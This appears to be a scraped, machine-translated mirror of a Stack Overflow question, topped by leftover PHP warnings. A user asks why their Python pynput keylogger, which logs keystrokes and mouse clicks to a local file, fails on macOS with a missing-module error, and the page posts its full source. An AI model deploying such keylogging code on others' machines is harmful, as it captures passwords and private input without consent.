Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/361.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/macos/8.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python MacBook Air键盘记录器无法识别Pynput_Python_Macos_Keylogger_Pynput - Fatal编程技术网

Python MacBook Air键盘记录器无法识别Pynput

Python MacBook Air键盘记录器无法识别Pynput,python,macos,keylogger,pynput,Python,Macos,Keylogger,Pynput,我在windows电脑上设计了一个键盘记录器,但当我把它移到我的个人mac电脑上时,代码就停止工作了。通过pip安装,我似乎成功下载了pynput,但当我运行代码时,我收到错误消息:Traceback(最近一次调用):File“/Users/Ben/Desktop/code/key_logger.py”,第6行,在 从pynput导入键盘 ModuleNotFoundError:没有名为'pynput'的模块 keys = [] import threading from threading

我在windows电脑上设计了一个键盘记录器,但当我把它移到我的个人mac电脑上时,代码就停止工作了。通过pip安装,我似乎成功下载了pynput,但当我运行代码时,我收到错误消息:Traceback(最近一次调用):File“/Users/Ben/Desktop/code/key_logger.py”,第6行,在 从pynput导入键盘 ModuleNotFoundError:没有名为'pynput'的模块

keys = []

import threading
from threading import Thread

from pynput import keyboard

from pynput import mouse


def on_press(key):
    f = open('keylog.txt','a+')
    keys.append(key)
    f.write(str(key) + " ")
    yes = True
    f.close()

def on_click(x, y, button, pressed):
    f = open('keylog.txt','a+')
    keys.append(('{0} at {1}'.format('Pressed',(x,y))))
    f.write(str(('{0} at {1}'.format('Pressed',(x,y)))))
    f.close()


def func1():
    with keyboard.Listener(on_press = on_press) as listener:
        listener.join()

def func2():
    with mouse.Listener(on_click=on_click) as listener1:
        listener1.join()


if __name__ == '__main__':
    Thread(target=func1).start()
    Thread(target=func2).start()

您使用的是什么版本的python我正在使用python 3.7尝试使用
python3 key\u logger.py运行它